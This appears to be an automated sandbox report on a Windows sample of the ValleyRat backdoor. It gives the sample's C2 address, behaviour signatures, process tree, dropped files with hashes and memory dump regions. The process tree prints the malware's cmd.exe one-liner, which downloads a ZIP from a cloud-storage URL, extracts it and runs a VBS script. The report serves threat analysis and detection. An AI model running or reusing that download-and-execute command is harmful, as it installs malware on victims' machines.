Analysis

  • user interaction
    yes
  • max time kernel
    900s
  • max time network
    901s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    26/10/2026, 14:17

General

  • Target
    OP-5/NO-5.exe
  • Size 671KB
  • Sample261026-rlxcmaxsg1
  • SHA256 85314a24741a27bb969008b91f6f47e08f1a7a761eb9c772da8a608947dbe092
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • valleyrat_s2

C2
  • 156.234.7.14:8001

Signatures

  • Family: ValleyRat

    ValleyRat stage2 is a backdoor written in C++.

  • Drops file in Drivers directory 1 IoCs
  • Sets service image path in registry 3 TTPs 2 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 22 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates video capture drivers 2 TTPs 1 IoCs

    Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 1 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\OP-5\NO-5.exe
    "C:\Users\Admin\AppData\Local\Temp\OP-5\NO-5.exe"
    1⤵
    • Sets service image path in registry
    • Adds Run key to start application
    • Enumerates connected drives
    • Enumerates video capture drivers
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: LoadsDriver
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1832
    • C:\Users\Public\cache.exe
      C:\Users\Public\cache.exe
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2832
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c curl -L -o C:\DMRootCA.zip https://xzy-1469461515.cos.ap-singapore.myqcloud.com/DMRootCA.zip && if not exist C:\DMRootCA md C:\DMRootCA && tar -xf C:\DMRootCA.zip -C C:\DMRootCA && del C:\DMRootCA.zip && cscript //B //Nologo C:\DMRootCA\Optimizeinstallation.vbs
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4152
      • C:\Windows\SysWOW64\curl.exe
        curl -L -o C:\DMRootCA.zip https://xzy-1469461515.cos.ap-singapore.myqcloud.com/DMRootCA.zip
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2740
      • C:\Windows\SysWOW64\tar.exe
        tar -xf C:\DMRootCA.zip -C C:\DMRootCA
        3⤵
          PID:4720
    • C:\Users\Public\svchostsr.exe
      C:\Users\Public\svchostsr.exe
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: LoadsDriver
      • Suspicious use of AdjustPrivilegeToken
      PID:4668
    • C:\Windows\System32\drivers\kvckiller.sys
      C:\Windows\System32\drivers\kvckiller.sys
      1⤵
      • Executes dropped EXE
      PID:896

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          DMRootCA.zip

          • Path C:\DMRootCA.zip
          • Size 384B
          • SHA256 a0e8c7134fd1e78ce3f56225c1ddad3d1b2656e59c20fbc8771f088c3d08c108
          • MD5 SHA1 SHA512 TLSH

          EmbeddedDriverService.sys

          • Path C:\Users\Admin\AppData\Local\Temp\EmbeddedDriverService.sys
          • Size 34KB
          • SHA256 70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          cache.exe

          • Path C:\Users\Public\cache.exe
          • Size 349KB
          • SHA256 46f65f7089e8bf0468a096247243d513f4667a964c239ea00334431122f1a544
          • MD5 SHA1 SHA512 SSDEEP TLSH

          d3d9core.ax

          • Path C:\Users\Public\d3d9core.ax
          • Size 3KB
          • SHA256 de00dc70c1f4760b3ff1d6b1d188cc9aab77a31a1c576ca8fe14fffd6a9934bf
          • MD5 SHA1 SHA512 TLSH

          libcef.dll

          • Path C:\Users\Public\libcef.dll
          • Size 11.6MB
          • SHA256 f8515b0e2a68b677a105ed438062223ac91e61c7796bd6cd83089e1b0591016b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          svchostsr.exe

          • Path C:\Users\Public\svchostsr.exe
          • Size 671KB
          • SHA256 85314a24741a27bb969008b91f6f47e08f1a7a761eb9c772da8a608947dbe092
          • MD5 SHA1 SHA512 SSDEEP TLSH

          kvckiller.sys

          • Path C:\Windows\System32\drivers\kvckiller.sys
          • Size 37KB
          • SHA256 ff5dbdcf6d7ae5d97b6f3ef412df0b977ba4a844c45b30ca78c0eeb2653d69a8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1832-14-0x00000000033D0000-0x0000000003436000-memory.dmp

          memory/1832-8-0x00000000033D0000-0x0000000003436000-memory.dmp

          memory/1832-5-0x0000000002700000-0x0000000002722000-memory.dmp

          memory/1832-4-0x0000000002700000-0x0000000002722000-memory.dmp

          memory/1832-6-0x0000000002700000-0x0000000002722000-memory.dmp

          memory/1832-7-0x0000000003270000-0x00000000032D0000-memory.dmp

          memory/1832-16-0x00000000033D0000-0x0000000003436000-memory.dmp

          memory/1832-22-0x00000000033D0000-0x0000000003436000-memory.dmp

          memory/1832-20-0x00000000033D0000-0x0000000003436000-memory.dmp

          memory/1832-21-0x00000000033D0000-0x0000000003436000-memory.dmp

          memory/1832-19-0x00000000033D0000-0x0000000003436000-memory.dmp

          memory/1832-18-0x00000000033D0000-0x0000000003436000-memory.dmp

          memory/1832-17-0x00000000033D0000-0x0000000003436000-memory.dmp

          memory/1832-2-0x0000000002700000-0x0000000002722000-memory.dmp

          memory/1832-11-0x00000000033D0000-0x0000000003436000-memory.dmp

          memory/1832-12-0x00000000033D0000-0x0000000003436000-memory.dmp

          memory/1832-10-0x00000000033D0000-0x0000000003436000-memory.dmp

          memory/1832-3-0x0000000002700000-0x0000000002722000-memory.dmp

          memory/1832-15-0x00000000033D0000-0x0000000003436000-memory.dmp

          memory/1832-13-0x00000000033D0000-0x0000000003436000-memory.dmp

          memory/1832-24-0x00000000033D0000-0x0000000003436000-memory.dmp

          memory/1832-26-0x00000000033D0000-0x0000000003436000-memory.dmp

          memory/1832-28-0x0000000010000000-0x0000000010071000-memory.dmp

          memory/1832-27-0x00000000033D0000-0x0000000003436000-memory.dmp

          memory/1832-43-0x0000000002700000-0x0000000002722000-memory.dmp

          memory/1832-42-0x0000000002700000-0x0000000002722000-memory.dmp

          memory/1832-46-0x00000000033D0000-0x0000000003436000-memory.dmp

          memory/1832-48-0x0000000010000000-0x0000000010062000-memory.dmp

          memory/1832-47-0x00000000033D0000-0x0000000003436000-memory.dmp

          memory/1832-74-0x00000000033D0000-0x0000000003436000-memory.dmp

          memory/1832-84-0x00000000033D0000-0x0000000003436000-memory.dmp

          memory/1832-76-0x0000000010000000-0x000000001001B000-memory.dmp

          memory/1832-73-0x00000000033D0000-0x0000000003436000-memory.dmp

          memory/1832-72-0x00000000033D0000-0x0000000003436000-memory.dmp

          memory/1832-1-0x0000000002910000-0x0000000002991000-memory.dmp

          memory/1832-0-0x0000000002690000-0x0000000002691000-memory.dmp

          memory/4668-106-0x00000000031F0000-0x0000000003256000-memory.dmp

          memory/4668-123-0x0000000003150000-0x00000000031B6000-memory.dmp

          memory/4668-96-0x00000000025D0000-0x00000000025F2000-memory.dmp

          memory/4668-98-0x00000000025D0000-0x00000000025F2000-memory.dmp

          memory/4668-112-0x00000000031F0000-0x0000000003256000-memory.dmp

          memory/4668-111-0x00000000031F0000-0x0000000003256000-memory.dmp

          memory/4668-113-0x00000000031F0000-0x0000000003256000-memory.dmp

          memory/4668-110-0x00000000031F0000-0x0000000003256000-memory.dmp

          memory/4668-109-0x00000000031F0000-0x0000000003256000-memory.dmp

          memory/4668-108-0x00000000031F0000-0x0000000003256000-memory.dmp

          memory/4668-107-0x00000000031F0000-0x0000000003256000-memory.dmp

          memory/4668-92-0x00000000025D0000-0x00000000025F2000-memory.dmp

          memory/4668-105-0x00000000031F0000-0x0000000003256000-memory.dmp

          memory/4668-104-0x00000000031F0000-0x0000000003256000-memory.dmp

          memory/4668-103-0x00000000031F0000-0x0000000003256000-memory.dmp

          memory/4668-102-0x00000000031F0000-0x0000000003256000-memory.dmp

          memory/4668-101-0x00000000031F0000-0x0000000003256000-memory.dmp

          memory/4668-100-0x00000000031F0000-0x0000000003256000-memory.dmp

          memory/4668-99-0x00000000031F0000-0x0000000003256000-memory.dmp

          memory/4668-115-0x00000000031F0000-0x0000000003256000-memory.dmp

          memory/4668-116-0x00000000025D0000-0x00000000025F2000-memory.dmp

          memory/4668-117-0x00000000025D0000-0x00000000025F2000-memory.dmp

          memory/4668-118-0x00000000025D0000-0x00000000025F2000-memory.dmp

          memory/4668-120-0x00000000025D0000-0x00000000025F2000-memory.dmp

          memory/4668-119-0x00000000025D0000-0x00000000025F2000-memory.dmp

          memory/4668-121-0x00000000025D0000-0x00000000025F2000-memory.dmp

          memory/4668-128-0x0000000003150000-0x00000000031B6000-memory.dmp

          memory/4668-137-0x0000000003150000-0x00000000031B6000-memory.dmp

          memory/4668-133-0x00000000025D0000-0x00000000025F2000-memory.dmp

          memory/4668-129-0x0000000003150000-0x00000000031B6000-memory.dmp

          memory/4668-126-0x0000000003150000-0x00000000031B6000-memory.dmp

          memory/4668-125-0x0000000003150000-0x00000000031B6000-memory.dmp

          memory/4668-124-0x0000000003150000-0x00000000031B6000-memory.dmp

          memory/4668-97-0x00000000025D0000-0x00000000025F2000-memory.dmp

          memory/4668-122-0x0000000003150000-0x00000000031B6000-memory.dmp

          memory/4668-127-0x0000000003150000-0x00000000031B6000-memory.dmp

          memory/4668-160-0x00000000032C0000-0x0000000003326000-memory.dmp

          memory/4668-91-0x00000000025D0000-0x00000000025F2000-memory.dmp

          memory/4668-166-0x0000000003150000-0x00000000031B6000-memory.dmp

          memory/4668-184-0x00000000037A0000-0x0000000003806000-memory.dmp

          memory/4668-190-0x00000000032C0000-0x0000000003326000-memory.dmp

          memory/4668-208-0x0000000003700000-0x0000000003766000-memory.dmp

          memory/4668-214-0x00000000037A0000-0x0000000003806000-memory.dmp

          memory/4668-232-0x0000000003A70000-0x0000000003AD6000-memory.dmp

          memory/4668-238-0x0000000003700000-0x0000000003766000-memory.dmp

          memory/4668-256-0x00000000042A0000-0x0000000004306000-memory.dmp

          memory/4668-258-0x0000000003A70000-0x0000000003AD6000-memory.dmp

          memory/4668-280-0x0000000004310000-0x0000000004376000-memory.dmp

          memory/4668-282-0x00000000042A0000-0x0000000004306000-memory.dmp

          memory/4668-304-0x0000000003B40000-0x0000000003BA6000-memory.dmp

          memory/4668-310-0x0000000004310000-0x0000000004376000-memory.dmp

          memory/4668-328-0x0000000004480000-0x00000000044E6000-memory.dmp

          memory/4668-334-0x0000000003B40000-0x0000000003BA6000-memory.dmp

          memory/4668-352-0x00000000043E0000-0x0000000004446000-memory.dmp

          memory/4668-358-0x0000000004480000-0x00000000044E6000-memory.dmp

          memory/4668-376-0x0000000002EB0000-0x0000000002F16000-memory.dmp

          memory/4668-382-0x00000000043E0000-0x0000000004446000-memory.dmp

          memory/4668-400-0x0000000004650000-0x00000000046B6000-memory.dmp

          memory/4668-402-0x0000000002EB0000-0x0000000002F16000-memory.dmp

          memory/4668-424-0x00000000045B0000-0x0000000004616000-memory.dmp

          memory/4668-430-0x0000000004650000-0x00000000046B6000-memory.dmp

          memory/4668-448-0x0000000004820000-0x0000000004886000-memory.dmp

          memory/4668-454-0x00000000045B0000-0x0000000004616000-memory.dmp

          memory/4668-472-0x0000000004780000-0x00000000047E6000-memory.dmp

          memory/4668-478-0x0000000004820000-0x0000000004886000-memory.dmp

          memory/4668-496-0x00000000051F0000-0x0000000005256000-memory.dmp

          memory/4668-502-0x0000000004780000-0x00000000047E6000-memory.dmp

          memory/4668-525-0x00000000051F0000-0x0000000005256000-memory.dmp